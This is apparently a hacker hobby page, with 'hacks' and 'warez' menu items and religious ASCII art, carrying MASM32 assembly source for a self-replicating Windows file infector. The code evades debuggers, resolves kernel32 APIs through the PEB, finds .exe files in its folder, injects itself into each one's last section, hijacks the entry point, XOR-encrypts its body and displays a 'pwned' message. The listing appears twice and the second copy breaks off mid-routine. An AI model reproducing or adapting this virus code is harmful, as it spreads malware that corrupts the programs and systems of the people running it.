
♫
hacks
warez
contact
.=======.
[I N R I]
| |
| |
.========' '========.
| _ xxxx _ |
| /_;-.__ / _\ _.-;_\ |
| `-._`'`_/'`.-' |
'========. `\ /`========='
| | / |
| /-.( |
| \_._\ |
| \ \`;|
| > |/|
| / // |
| |// |
| \(\ |
| `` |
|_______|
JESUS IS LORD
.-""""""""-.
/ \
_ | | _
( \ |, .-. .-. ,| / )
> "=_ | )(__/ \__)( | _=" <
(_/"=_"=._ |/ /\ \| _="_="\_)
"=._"(_ ^^ _)"_="
"=\__|IIIIII|__/="
_="| \IIIIII/ |"=_
_ _.="_="\ /"=_"=._ _
( \_="_.=" `--------` "=._"=_/ )
> _=" "=_ <
(_/ \_)
.386
.model flat, stdcall
option casemap:none
include \masm32\include\windows.inc
include \masm32\include\wdm.inc
include \masm32\include\kernel32.inc
include \masm32\include\user32.inc
include .\r0b0h0b0.inc
includelib \masm32\lib\kernel32.lib
.code
start_of_code:
call decryptor_get_eip
decryptor_get_eip:
pop edx
sub edx, 5
push edx ; save it
push eax
pop eax
lea esi, [edx + (data - start_of_code)]
push eax
pop eax
; check for debugger
ASSUME FS:NOTHING
mov edx, fs:[30h]
ASSUME FS:ERROR
cmp (PEB PTR [edx]).BeingDebugged, 0
push eax
pop eax
nop
jne end_of_code
nop
cypt_key:
mov edx, 00000000h
xor ecx, ecx
decryptor_loop_b:
cmp ecx, (end_of_code - data)
je decryptor_loop_e
mov al, [esi + ecx]
xor al, dl
nop
mov [esi + ecx], al
push eax
pop eax
inc ecx
nop
ror edx, cl
jmp decryptor_loop_b
decryptor_loop_e:
pop eax ; start_of_code address
mov ebp, esp ; reset ebp
nop
lea eax, [eax + (start - start_of_code)]
jmp eax
PopUp proc
LOCAL pMem :DWORD
push ebx
push esi
push edi
mov pMem, 29
mov esi, pMem
mov DWORD PTR [esi+0], 3527344145
mov DWORD PTR [esi+4], 1053247386
mov DWORD PTR [esi+8], 3139946680
mov DWORD PTR [esi+12], 2011744531
mov DWORD PTR [esi+16], 3925728362
mov DWORD PTR [esi+20], 1185816795
mov DWORD PTR [esi+24], 1387125627
mov edi, 28
or ebx, -1
@@:
add ebx, 1
movzx edx, BYTE PTR [PopUp_pad+ebx]
xor [esi+ebx], dl
sub edi, 1
jnz @B
mov eax, pMem
mov ecx, 28
pop edi
pop esi
pop ebx
ret
.data
PopUp_pad \
db 97,119,81,183,254,103,165,71,152,172,70,155,97,249,138,71
db 2,236,159,217,245,0,253,46,19,179,197,115
.code
PopUp endp
; ret : function address
; arg1: function name
; arg2: STACK_STORAGE struct
GetProcAddr:
pop eax ; ret
nop
pop ecx ; arg1
nop
pop edx ; arg2
nop
push eax
push ecx
push (STACK_STORAGE PTR [edx]).GetProcAddress_module
nop
call (STACK_STORAGE PTR [edx]).GetProcAddress_addr
pop edx
nop
jmp edx
; ret : none
; arg1: file size
; arg2: STACK_STORAGE struct
MapFileToRAM:
; use of offsets on esp, because the arguments
; and return address are on the stack
push [esp + (sizeof DWORD * 2)]
nop
lea eax, [ebx + (CreateFileMapping_str - data)]
nop
push eax
call GetProcAddr
mov edx, [esp + (sizeof DWORD * 2)]
nop
mov edx, (STACK_STORAGE PTR [edx]).fileHandle
nop
mov ecx, [esp + (sizeof DWORD * 1)]
nop
push NULL
push ecx
push 0
push ebx
nop
push esi
push edi
pop edi
pop esi
pop ebx
push PAGE_READWRITE
push NULL
nop
push edx
call eax ; CreateFileMapping()
mov edx, [esp + (sizeof DWORD * 2)]
mov (STACK_STORAGE PTR [edx]).fileMappingHandle, eax
nop
push [esp + (sizeof DWORD * 2)]
lea eax, [ebx + (MapViewOfFile_str - data)]
push eax
call GetProcAddr
mov edx, [esp + (sizeof DWORD * 2)]
mov edx, (STACK_STORAGE PTR [edx]).fileMappingHandle
nop
push 0
push 0
push 0
nop
push (FILE_MAP_WRITE or FILE_MAP_READ)
push edx
call eax ; MapViewOfFile()
mov edx, [esp + (sizeof DWORD * 2)]
mov (STACK_STORAGE PTR [edx]).fileView, eax
pop edx
pop ecx
pop ecx
jmp edx
; ret : none
; arg1: STACK_STORAGE struct
UnmapFileFromRAM:
push [esp + (sizeof DWORD * 1)]
nop
nop
lea eax, [ebx + (UnmapViewOfFile_str - data)]
push eax
call GetProcAddr
mov edx, [esp + (sizeof DWORD * 1)]
nop
push (STACK_STORAGE PTR [edx]).fileView
nop
nop
call eax ; UnmapViewOfFile()
nop
push [esp + (sizeof DWORD * 1)]
nop
lea eax, [ebx + (CloseHandle_str - data)]
push eax
call GetProcAddr
mov edx, [esp + (sizeof DWORD * 1)]
nop
nop
push (STACK_STORAGE PTR [edx]).fileMappingHandle
call eax ; CloseHandle()
pop edx
pop ecx
jmp edx
; ret : bool
; arg1: string1
; arg2: string2
; arg3: length
lstrncmp:
xor esi, esi ; string offset
nop
xor eax, eax
lstrncmp_loop:
cmp esi, [esp + (sizeof DWORD * 3)]
nop
je lstrncmp_end_equal
nop
mov ecx, [esp + (sizeof DWORD * 1)]
nop
mov cl, [ecx + esi]
mov edx, [esp + (sizeof DWORD * 2)]
nop
mov dl, [edx + esi]
nop
cmp cl, dl
jne lstrncmp_end_not_equal
inc esi
nop
jmp lstrncmp_loop
lstrncmp_end_equal:
mov al, 1
nop
jmp lstrncmp_end
lstrncmp_end_not_equal:
mov al, 0
nop
lstrncmp_end:
pop edx
nop
pop ecx
pop ecx
nop
pop ecx
nop
jmp edx
start:
call get_eip ; get the injected exe env instruction pointer
push ebx
push esi
push edi
pop edi
pop esi
pop ebx
get_eip:
pop ebx
; ebx holds "data section" address
; (call instruction + (start label address - data label instruction))
nop
sub ebx, (5 + (start - data))
push ebx ; save it back temporarily
; resolve kernel32 base address
ASSUME FS:NOTHING
mov edx, fs:[30h] ; get the PEB struct
nop
ASSUME FS:ERROR
; ->Ldr / get the PEB_LDR_DATA struct
mov edx, (PEB PTR [edx]).Ldr
; ->InMemoryOrderModuleList / gets the loaded modules linked list
lea edx, (PEB_LDR_DATA PTR [edx]).InMemoryOrderModuleList
nop
; loop through the linked list until we match with "KERNEL32.DLL"
; partial case insensitive check : length=12; name[0]=K; name[5]=L; name[6]=3; name[7]=2
; enough because KERNEL32 should always be before some other DLL matching this pattern
loop_find_kernel32:
; ->FullDllName / get the UNICODE_STRING struct
lea eax, (LDR_DATA_TABLE_ENTRY PTR [edx]).FullDllName
; ->Len
mov bx, (UNICODE_STRING PTR [eax]).Len
nop
; check the length
cmp bx, (12 * sizeof WCHAR)
jne loop_find_kernel32_continue
nop
; ->Buffer
mov eax, (UNICODE_STRING PTR [eax]).Buffer
; check the string
xor edi, edi
mov bx, [eax]
mov di, 'K'
nop
cmp bx, 'a' ; check case
jl lfk32_first_letter_cmp
add di, ('a' - 'A') ; make lowercase
lfk32_first_letter_cmp:
cmp bx, di
jne loop_find_kernel32_continue
nop
mov bx, [eax + 5 * sizeof WCHAR]
mov di, 'L'
nop
cmp bx, 'a'
jl lfk32_second_letter_cmp
add di, ('a' - 'A')
lfk32_second_letter_cmp:
cmp bx, di
jne loop_find_kernel32_continue
mov ebx, [eax + 6 * sizeof WCHAR]
nop
cmp ebx, 00320033h ; "32" in little endian wide characters
nop
jne loop_find_kernel32_continue
jmp loop_find_kernel32_end
loop_find_kernel32_continue:
; (LIST_ENTRY)->Flink / get next loaded module
mov edx, (LIST_ENTRY PTR [edx]).Flink
nop
jmp loop_find_kernel32
loop_find_kernel32_end:
; ->DllBase, for some reason, does not hold the base address
; instead ->Reserved2[0] does
mov ebx, (LDR_DATA_TABLE_ENTRY PTR [edx]).Reserved2[0 * sizeof PVOID]
nop
mov edx, ebx
; get PE header (base address + offset from the DOS header)
add edx, [edx + 03Ch]
nop
; get export table
mov edx, (IMAGE_OPTIONAL_HEADER PTR (IMAGE_NT_HEADERS PTR [edx]).OptionalHeader) \
.DataDirectory[IMAGE_DIRECTORY_ENTRY_EXPORT * sizeof IMAGE_OPTIONAL_HEADER] \
.VirtualAddress
add edx, ebx
push edx ; save export table on the stack
; get function names array
mov edx, [edx + 020h] ; AddressOfNames
nop
add edx, ebx
nop
xor ecx, ecx ; index = 0
; loop trough export function names
loop_find_gpa:
mov eax, [edx + ecx]
add eax, ebx
; check the string with "GetProcA", should be enough
; in reverse because of the endianness
mov edi, [eax]
nop
cmp edi, 'PteG'
nop
jne loop_find_gpa_continue
mov edi, [eax + 4]
nop
cmp edi, 'Acor'
jne loop_find_gpa_continue
jmp loop_find_gpa_end
loop_find_gpa_continue:
add ecx, sizeof LPSTR ; index += 1
nop
jmp loop_find_gpa
loop_find_gpa_end:
pop edx ; get the export table back
nop
mov eax, edx
; now use this index to find the function ordinal (address array index)
mov edx, [edx + 024h] ; AddressOfNameOrdinals
add edx, ebx
shr ecx, 1 ; index /= 2 (32 bit array -> 16 bit array)
xor edi, edi
nop
nop
nop
mov di, [edx + ecx]
shl edi, 2 ; index *= 4 (sizeof PVOID)
mov edx, eax
; now use the ordinal to get the function address
mov edx, [edx + 01Ch] ; AddressOfFunctions
add edx, ebx
nop
nop
mov ecx, [edx + edi]
add ecx, ebx
nop
mov edi, ebx ; save kernel32 base address
; check STACK_STORAGE DWORD (4 bytes) alignment
xor edx, edx
mov ax, sizeof STACK_STORAGE
mov bx, 4
div bx
nop
add dx, sizeof STACK_STORAGE
pop ebx
nop
; allocate space on the stack, sp register instead of esp because
; the structure size fits in a WORD, saves on instruction size
sub sp, dx
; store GetProcAddress address
mov (STACK_STORAGE PTR [esp]).GetProcAddress_addr, ecx
; store kernel32 base address
nop
mov (STACK_STORAGE PTR [esp]).kernel32BaseAddr, edi
; set it as module for GetProcAddress
nop
mov (STACK_STORAGE PTR [esp]).GetProcAddress_module, edi
; set actual struct size on stack
nop
mov (STACK_STORAGE PTR [esp]).alignedSize, dx
push esp
lea eax, [ebx + (FindFirstFile_str - data)]
push eax
call GetProcAddr
mov (STACK_STORAGE PTR [esp]).fileQueryHandle, INVALID_HANDLE_VALUE
nop
lea edx, (STACK_STORAGE PTR [esp]).fileStruct
push edx
lea edx, [ebx + (fileQuery - data)]
push edx
call eax ; FindFirstFile()
cmp eax, INVALID_HANDLE_VALUE
nop
je loop_find_file_end
mov (STACK_STORAGE PTR [esp]).fileQueryHandle, eax
nop
loop_find_file:
push esp
lea eax, [ebx + (GetFullPathName_str - data)]
push eax
call GetProcAddr
; check file and put it on the stack if needed
lea edx, (STACK_STORAGE PTR [esp]).fileName
lea ecx, (WIN32_FIND_DATA PTR (STACK_STORAGE PTR [esp]).fileStruct).cFileName
push NULL
push edx
push MAX_PATH
push ecx
nop
nop
nop
call eax ; GetFullPathName() / get absolute file path
; check if it actually ends with .exe
push esp
lea eax, [ebx + (lstrlen_str - data)]
push eax
call GetProcAddr
lea edx, (STACK_STORAGE PTR [esp]).fileName
push edx
call eax
; get to the end of the name, expecting ".exe"
lea edx, (STACK_STORAGE PTR [esp]).fileName[eax - 4]
mov edx, [edx]
cmp edx, 'exe.' ; (little endian)
jne loop_find_file_continue
; check if it's a directory
mov edx, (WIN32_FIND_DATA PTR (STACK_STORAGE PTR [esp]).fileStruct).dwFileAttributes
and edx, FILE_ATTRIBUTE_DIRECTORY
nop
nop
nop
cmp edx, FILE_ATTRIBUTE_DIRECTORY
je loop_find_file_continue
; check if it's a read-only file
mov edx, (WIN32_FIND_DATA PTR (STACK_STORAGE PTR [esp]).fileStruct).dwFileAttributes
and edx, FILE_ATTRIBUTE_READONLY
cmp edx, FILE_ATTRIBUTE_READONLY
nop
nop
nop
je loop_find_file_continue
; Target appears good
push esp
lea eax, [ebx + (CreateFile_str - data)]
push eax
call GetProcAddr
lea edx, (STACK_STORAGE PTR [esp]).fileName
push NULL
push FILE_ATTRIBUTE_NORMAL
push OPEN_EXISTING
push NULL
push (FILE_SHARE_READ or FILE_SHARE_WRITE)
push (GENERIC_READ or GENERIC_WRITE)
push edx
nop
nop
nop
call eax ; CreateFile()
cmp eax, INVALID_HANDLE_VALUE
je loop_find_file_continue ; if handle != null
mov (STACK_STORAGE PTR [esp]).fileHandle, eax
push esp
push 0
call MapFileToRAM
; get PE header (base address + offset from the DOS header)
mov edi, (STACK_STORAGE PTR [esp]).fileView
add edi, [edi + 03Ch]
; check if executable
mov ax, (IMAGE_FILE_HEADER PTR (IMAGE_NT_HEADERS PTR [edi]).FileHeader).Characteristics
and ax, IMAGE_FILE_EXECUTABLE_IMAGE
cmp ax, IMAGE_FILE_EXECUTABLE_IMAGE
jne close_target
nop
nop
nop
; check if 32 bit
mov ax, (IMAGE_FILE_HEADER PTR (IMAGE_NT_HEADERS PTR [edi]).FileHeader).Machine
cmp ax, IMAGE_FILE_MACHINE_I386
jne close_target
; get sections count
xor ecx, ecx
mov cx, (IMAGE_FILE_HEADER PTR (IMAGE_NT_HEADERS PTR [edi]).FileHeader).NumberOfSections
dec ecx
; get last section header
mov eax, sizeof IMAGE_SECTION_HEADER
mul ecx ; eax = (sizeof IMAGE_SECTION_HEADER * NumberOfSections)
lea edx, (IMAGE_NT_HEADERS PTR [edi]).OptionalHeader
nop
nop
nop
add dx, (IMAGE_FILE_HEADER PTR (IMAGE_NT_HEADERS PTR [edi]).FileHeader).SizeOfOptionalHeader
mov ecx, edx ; save first section header
add edx, eax
mov (STACK_STORAGE PTR [esp]).filePeHeader, edi
mov (STACK_STORAGE PTR [esp]).fileLastSectionHeader, edx
; check if itself
mov eax, ebx
add eax, (start - data)
; get physical entry point address
sub ecx, sizeof IMAGE_SECTION_HEADER
find_entrypoint_section_loop:
add ecx, sizeof IMAGE_SECTION_HEADER
mov edx, (IMAGE_SECTION_HEADER PTR [ecx]).VirtualAddress
add edx, (IMAGE_SECTION_HEADER PTR [ecx]).Misc
cmp edx, (IMAGE_OPTIONAL_HEADER PTR (IMAGE_NT_HEADERS PTR [edi]).OptionalHeader).AddressOfEntryPoint
jl find_entrypoint_section_loop
mov edx, (IMAGE_SECTION_HEADER PTR [ecx]).VirtualAddress
sub edx, (IMAGE_SECTION_HEADER PTR [ecx]).PointerToRawData
mov ecx, (IMAGE_OPTIONAL_HEADER PTR (IMAGE_NT_HEADERS PTR [edi]).OptionalHeader).AddressOfEntryPoint
add ecx, (STACK_STORAGE PTR [esp]).fileView
sub ecx, edx
push end_of_code - start
push ecx
push eax
call lstrncmp
cmp al, 0
jne close_target
mov edi, (STACK_STORAGE PTR [esp]).filePeHeader
nop
mov edx, (STACK_STORAGE PTR [esp]).fileLastSectionHeader
nop
mov eax, (IMAGE_SECTION_HEADER PTR [edx]).Characteristics
; set as executable code & writeable
or eax, (IMAGE_SCN_MEM_EXECUTE OR IMAGE_SCN_CNT_CODE OR IMAGE_SCN_MEM_WRITE)
; set as not discardable
mov ecx, IMAGE_SCN_MEM_DISCARDABLE
not ecx
and eax, ecx
; update it
mov (IMAGE_SECTION_HEADER PTR [edx]).Characteristics, eax
; update VirtualSize
mov eax, (IMAGE_SECTION_HEADER PTR [edx]).Misc
add eax, (IMAGE_OPTIONAL_HEADER PTR (IMAGE_NT_HEADERS PTR [edi]).OptionalHeader).SectionAlignment
mov (IMAGE_SECTION_HEADER PTR [edx]).Misc, eax
; save where to inject in the target
mov eax, (IMAGE_SECTION_HEADER PTR [edx]).PointerToRawData
nop
add eax, (IMAGE_SECTION_HEADER PTR [edx]).SizeOfRawData
mov (STACK_STORAGE PTR [esp]).offsetToDest, eax
; update SizeOfRawData
mov eax, (IMAGE_SECTION_HEADER PTR [edx]).SizeOfRawData
add eax, (IMAGE_OPTIONAL_HEADER PTR (IMAGE_NT_HEADERS PTR [edi]).OptionalHeader).SectionAlignment
mov (IMAGE_SECTION_HEADER PTR [edx]).SizeOfRawData, eax
; update SizeOfImage
mov eax, (IMAGE_OPTIONAL_HEADER PTR (IMAGE_NT_HEADERS PTR [edi]).OptionalHeader).SizeOfImage
nop
add eax, (IMAGE_OPTIONAL_HEADER PTR (IMAGE_NT_HEADERS PTR [edi]).OptionalHeader).SectionAlignment
nop
mov (IMAGE_OPTIONAL_HEADER PTR (IMAGE_NT_HEADERS PTR [edi]).OptionalHeader).SizeOfImage, eax
; save original entry point
mov eax, (IMAGE_OPTIONAL_HEADER PTR (IMAGE_NT_HEADERS PTR [edi]).OptionalHeader).ImageBase
nop
add eax, (IMAGE_OPTIONAL_HEADER PTR (IMAGE_NT_HEADERS PTR [edi]).OptionalHeader).AddressOfEntryPoint
mov (STACK_STORAGE PTR [esp]).origEntryPoint, eax
mov eax, (STACK_STORAGE PTR [esp]).offsetToDest
; physical to virtual address
mov ecx, (IMAGE_SECTION_HEADER PTR [edx]).VirtualAddress
nop
sub ecx, (IMAGE_SECTION_HEADER PTR [edx]).PointerToRawData
add eax, ecx
; update it
mov (IMAGE_OPTIONAL_HEADER PTR (IMAGE_NT_HEADERS PTR [edi]).OptionalHeader).AddressOfEntryPoint, eax
; re-map the file to memory and change its size
mov eax, (IMAGE_SECTION_HEADER PTR [edx]).PointerToRawData
add eax, (IMAGE_SECTION_HEADER PTR [edx]).SizeOfRawData
mov (STACK_STORAGE PTR [esp]).fileSize, eax
push esp
call UnmapFileFromRAM
mov eax, (STACK_STORAGE PTR [esp]).fileSize
push esp
push eax
call MapFileToRAM
; inject itself
lea esi, [ebx - (data - start_of_code)] ; src
mov edi, (STACK_STORAGE PTR [esp]).fileView
nop
add edi, (STACK_STORAGE PTR [esp]).offsetToDest
nop ; dst
mov ecx, (end_of_code - start_of_code) ; length
rep movsb
; generate encryption key
push esp
lea eax, [ebx + (GetTickCount_str - data)]
push eax
call GetProcAddr
call eax ; GetTickCount()
xor eax, (STACK_STORAGE PTR [esp]).kernel32BaseAddr
nop
xor eax, (STACK_STORAGE PTR [esp]).origEntryPoint
nop
mov (STACK_STORAGE PTR [esp]).cryptKey, eax
; store it in the decryptor
; eax : cryptKey
mov edi, (STACK_STORAGE PTR [esp]).fileView
add edi, (STACK_STORAGE PTR [esp]).offsetToDest
add edi, ((cypt_key - start_of_code) + 1)
mov [edi], eax
; set return address to the original entry point
mov edx, (STACK_STORAGE PTR [esp]).fileView
nop
add edx, (STACK_STORAGE PTR [esp]).offsetToDest
nop
mov eax, (STACK_STORAGE PTR [esp]).origEntryPoint
nop
mov [edx + (returnAddr - start_of_code)], eax
; then the body, xor-encrypting it
mov edi, (STACK_STORAGE PTR [esp]).fileView
add edi, (STACK_STORAGE PTR [esp]).offsetToDest
add edi, (data - start_of_code)
xor ecx, ecx ; index
mov edx, (STACK_STORAGE PTR [esp]).cryptKey
encryptor_loop_b:
cmp ecx, (end_of_code - data)
je encryptor_loop_e
mov al, [edi + ecx] ; byte to copy
xor al, dl
mov [edi + ecx], al
inc ecx
ror edx, cl
jmp encryptor_loop_b
encryptor_loop_e:
close_target:
push esp
call UnmapFileFromRAM
push esp
lea eax, [ebx + (CloseHandle_str - data)]
push eax
call GetProcAddr
push (STACK_STORAGE PTR [esp]).fileHandle
call eax ; CloseHandle()
loop_find_file_continue:
push esp
lea eax, [ebx + (FindNextFile_str - data)]
push eax
call GetProcAddr
lea edx, (STACK_STORAGE PTR [esp]).fileStruct
nop
mov ecx, (STACK_STORAGE PTR [esp]).fileQueryHandle
push edx
push ecx
call eax
cmp eax, TRUE
je loop_find_file
loop_find_file_end:
push esp
lea eax, [ebx + (FindClose_str - data)]
push eax
call GetProcAddr
push (STACK_STORAGE PTR [esp]).fileQueryHandle
nop
call eax ; FindClose() / close its handle
mov eax, [ebx + (returnAddr - data)]
nop
cmp eax, 0
je end_of_code
; get LoadLibraryA
push esp
nop
lea eax, [ebx + (LoadLibrary_str - data)]
push eax
call GetProcAddr
lea edx, [ebx + (User32_str - data)]
push edx
call eax ; LoadLibrary()
mov (STACK_STORAGE PTR [esp]).GetProcAddress_module, eax ; so GetProcAddress finds MessageBox
; get MessageBoxA
push esp
lea edx, [ebx + (MessageBox_str - data)]
push edx
nop
call GetProcAddr
lea edx, [ebx + (PopUpMessage - data)]
push MB_OK
push edx
nop
push edx
push NULL
call eax ; MessageBox()
; put User32 handle on the stack
mov edx, esp
nop
push (STACK_STORAGE PTR [esp]).GetProcAddress_module
nop
mov eax, (STACK_STORAGE PTR [edx]).kernel32BaseAddr
nop
mov (STACK_STORAGE PTR [edx]).GetProcAddress_module, eax
push edx
nop
lea eax, [ebx + (FreeLibrary_str - data)]
push eax
call GetProcAddr
call eax ; FreeLibrary() ; handle argument already on the stack
add sp, (STACK_STORAGE PTR [esp]).alignedSize ; "free" the stack
mov eax, [ebx + (returnAddr - data)]
jmp eax
end_of_code:
push ebx
push esi
push edi
pop edi
pop esi
pop ebx
add sp, (STACK_STORAGE PTR [esp]).alignedSize ; "free" the stack
; hard-coded call, so kernel32 is loaded in the infector
push 0
nop
nop
nop
call ExitProcess
end start
; 109876543210987654321098|76543210
;[################HHHHHHHH|LLLLLLLL]
;[ <--AH-->|<--AL-->]
;[ <------AX------->]
;[<--------------EAX-------------->]
.386
.model flat, stdcall
option casemap:none
include \masm32\include\windows.inc
include \masm32\include\wdm.inc
include \masm32\include\kernel32.inc
include \masm32\include\user32.inc
include .\r0b0h0b0.inc
includelib \masm32\lib\kernel32.lib
.code
start_of_code:
call decryptor_get_eip
decryptor_get_eip:
pop edx
sub edx, 5
push edx ; save it
push eax
pop eax
lea esi, [edx + (data - start_of_code)]
nop
push eax
pop eax
; check for debugger
ASSUME FS:NOTHING
mov edx, fs:[30h]
ASSUME FS:ERROR
cmp (PEB PTR [edx]).BeingDebugged, 0
push eax
pop eax
nop
jne end_of_code
nop
cypt_key:
mov edx, 00000000h
xor ecx, ecx
decryptor_loop_b:
cmp ecx, (end_of_code - data)
je decryptor_loop_e
mov al, [esi + ecx]
xor al, dl
nop
mov [esi + ecx], al
push eax
pop eax
inc ecx
nop
ror edx, cl
jmp decryptor_loop_b
decryptor_loop_e:
pop eax ; start_of_code address
mov ebp, esp ; reset ebp
nop
lea eax, [eax + (start - start_of_code)]
jmp eax
data:
fileQuery BYTE ".\*.exe",0
GetModuleFileName_str BYTE "GetModuleFileNameA",0
FindFirstFile_str BYTE "FindFirstFileA",0
FindNextFile_str BYTE "FindNextFileA",0
FindClose_str BYTE "FindClose",0
GetFullPathName_str BYTE "GetFullPathNameA",0
lstrlen_str BYTE "lstrlen",0
CreateFile_str BYTE "CreateFileA",0
CreateFileMapping_str BYTE "CreateFileMappingA",0
MapViewOfFile_str BYTE "MapViewOfFile",0
UnmapViewOfFile_str BYTE "UnmapViewOfFile",0
CloseHandle_str BYTE "CloseHandle",0
LoadLibrary_str BYTE "LoadLibraryA",0
FreeLibrary_str BYTE "FreeLibrary",0
MessageBox_str BYTE "MessageBoxA",0
User32_str BYTE "User32",0
PopUpMessage BYTE "p̸̞̻̂̐w̸͕͇̮̭̘̄̿̄̉̆̓̿͋͂̅͐͝n̵̬̺̈͌͌̑̄͋̐́͛͂̎̏͘̚͝é̴̤͔̙̪̦̱̦̥͚͉̹̄̀̿̇̓̓͛̈͂̈̚d̸͇̜̬͓̯̘̳̰̫̰̝͓̀͌͆̆̆͗̂͝͝ ̸͇̹͛͐̔̿̓̎̕b̴̢̛͎̪͙̦͔͓̮͔̭̙̱͕̼̂̈̀́͋͒̀̈̃̑͗͋̓y̷̬̖̱̣͉͕̽̀́͛̽͌͌̂͂͘̕ ̶̧̛͇̘̉̅̈́͑̈́̊͑͘͘͝t̵̡̧̗̠̭̣͍̙̲̟̩͇̱͆̒͗̐̎̋͒̏͗̔̈́̄̆́͜͝h̸̢̄̎͂̈̂̾̉̔͊͠ę̶̧͈̞̪̞̪̠̭̱̗̉͑̀͊̂͋̂̐̅̀̀̿̄̊͜͝ͅ ̸͙̝̔̅̿́͝r̶͇͔̈͊̉̿̌̑̄͆0̸͎̤̿͐̓̽̊̏͂͘b̷̨͎̞̐̽̉́̌̍̍͝͝0̵͔̓̔͂̔̎͐͒̀͗̔̽͑́͘̚h̷̨̳̳̟͇̗̥̗̣̬̣̮̓̆́̾̂̅̃̉͋̐̈͝0̶̛̼̬̌̇̍̀̅̋̔b̶̨̧̛̟̞͕̣̔͌̉̒̈́̋̃̌̈0̷̨̺͓̻̮͇̰̪̞̗̖͌̆̍̿̔͊̀̀́̾͑.̴̰̣̙̲̘̜͋͆͊͐̉͆̒͐̚͘̕͠.̴̩̫̦̭̭̮̲̝̠̭̥̗̟̯̅̏͌.̵̖̯̞̬̙̘̞̩̖̓͂̑͋̆̈́́͑͊͗͆ ̸̡̛̬̙̜̠̹̬͇͍͑̀͒̑͂S̶̡̢͚͓̜͈͇̮̰͎͕̲̒͐̅̐͐̐̓͜͠ͅh̶̨̝̠̎̍̏̀͘͝ẖ̷̨͕̬̭̈́̈́̆h̸͔̞̼̦̖̙̜͚̪̫̙̠̓͌͛̽̔̂̒̂͛͋̓̚ͅḩ̷̛̤͎͇͖̘̯͖͒̊̃̒́̿͊̏̀͘͝!̸̨̡̩͓̼̣͙̼͔̖̤̋̉̔͐͋̍̎͗͋͌̋̍̒̈́͝",0
GetTickCount_str BYTE "GetTickCount",0
returnAddr DWORD 000000000h
; ¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤
PopUp proc
LOCAL pMem :DWORD
; --------------------------------------------------------
; Return value in EAX is the memory pointer to the result
; The data length is returned in ECX. Deallocate memory in
; EAX with the Windows API function GlobalFree() or the
; MASM32 macro "free".
; --------------------------------------------------------
push ebx
push esi
push edi
mov pMem, 29
mov esi, pMem
mov DWORD PTR [esi+0], 3527344145
mov DWORD PTR [esi+4], 1053247386
mov DWORD PTR [esi+8], 3139946680
mov DWORD PTR [esi+12], 2011744531
mov DWORD PTR [esi+16], 3925728362
mov DWORD PTR [esi+20], 1185816795
mov DWORD PTR [esi+24], 1387125627
mov edi, 28
or ebx, -1
@@:
add ebx, 1
movzx edx, BYTE PTR [PopUp_pad+ebx]
xor [esi+ebx], dl
sub edi, 1
jnz @B
; -------------------------------------------------
; EAX is the memory pointer, ECX is the BYTE length
; -------------------------------------------------
mov eax, pMem
mov ecx, 28
pop edi
pop esi
pop ebx
ret
.data
PopUp_pad \
db 97,119,81,183,254,103,165,71,152,172,70,155,97,249,138,71
db 2,236,159,217,245,0,253,46,19,179,197,115
.code
PopUp endp
; ¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤
; ret : function address
; arg1: function name
; arg2: STACK_STORAGE struct
GetProcAddr:
pop eax ; ret
nop
pop ecx ; arg1
nop
pop edx ; arg2
nop
push eax
push ecx
push (STACK_STORAGE PTR [edx]).GetProcAddress_module
nop
call (STACK_STORAGE PTR [edx]).GetProcAddress_addr
pop edx
nop
jmp edx
; ret : none
; arg1: file size
; arg2: STACK_STORAGE struct
MapFileToRAM:
; use of offsets on esp, because the arguments
; and return address are on the stack
push [esp + (sizeof DWORD * 2)]
nop
lea eax, [ebx + (CreateFileMapping_str - data)]
nop
push eax
call GetProcAddr
mov edx, [esp + (sizeof DWORD * 2)]
nop
mov edx, (STACK_STORAGE PTR [edx]).fileHandle
nop
mov ecx, [esp + (sizeof DWORD * 1)]
nop
push NULL
push ecx
push 0
push ebx
nop
push esi
push edi
pop edi
pop esi
pop ebx
push PAGE_READWRITE
push NULL
nop
push edx
call eax ; CreateFileMapping()
mov edx, [esp + (sizeof DWORD * 2)]
mov (STACK_STORAGE PTR [edx]).fileMappingHandle, eax
nop
push [esp + (sizeof DWORD * 2)]
lea eax, [ebx + (MapViewOfFile_str - data)]
push eax
call GetProcAddr
mov edx, [esp + (sizeof DWORD * 2)]
mov edx, (STACK_STORAGE PTR [edx]).fileMappingHandle
nop
push 0
push 0
push 0
nop
push (FILE_MAP_WRITE or FILE_MAP_READ)
push edx
call eax ; MapViewOfFile()
mov edx, [esp + (sizeof DWORD * 2)]
mov (STACK_STORAGE PTR [edx]).fileView, eax
pop edx
pop ecx
pop ecx
jmp edx
; ret : none
; arg1: STACK_STORAGE struct
UnmapFileFromRAM:
push [esp + (sizeof DWORD * 1)]
nop
nop
lea eax, [ebx + (UnmapViewOfFile_str - data)]
push eax
call GetProcAddr
mov edx, [esp + (sizeof DWORD * 1)]
nop
push (STACK_STORAGE PTR [edx]).fileView
nop
nop
call eax ; UnmapViewOfFile()
nop
push [esp + (sizeof DWORD * 1)]
nop
lea eax, [ebx + (CloseHandle_str - data)]
push eax
call GetProcAddr
mov edx, [esp + (sizeof DWORD * 1)]
nop
nop
push (STACK_STORAGE PTR [edx]).fileMappingHandle
call eax ; CloseHandle()
pop edx
pop ecx
jmp edx
; ret : bool
; arg1: string1
; arg2: string2
; arg3: length
lstrncmp:
xor esi, esi ; string offset
nop
xor eax, eax
lstrncmp_loop:
cmp esi, [esp + (sizeof DWORD * 3)]
nop
je lstrncmp_end_equal
nop
mov ecx, [esp + (sizeof DWORD * 1)]
nop
mov cl, [ecx + esi]
mov edx, [esp + (sizeof DWORD * 2)]
nop
mov dl, [edx + esi]
nop
cmp cl, dl
jne lstrncmp_end_not_equal
inc esi
nop
jmp lstrncmp_loop
lstrncmp_end_equal:
mov al, 1
nop
jmp lstrncmp_end
lstrncmp_end_not_equal:
mov al, 0
nop
lstrncmp_end:
pop edx
nop
pop ecx
pop ecx
nop
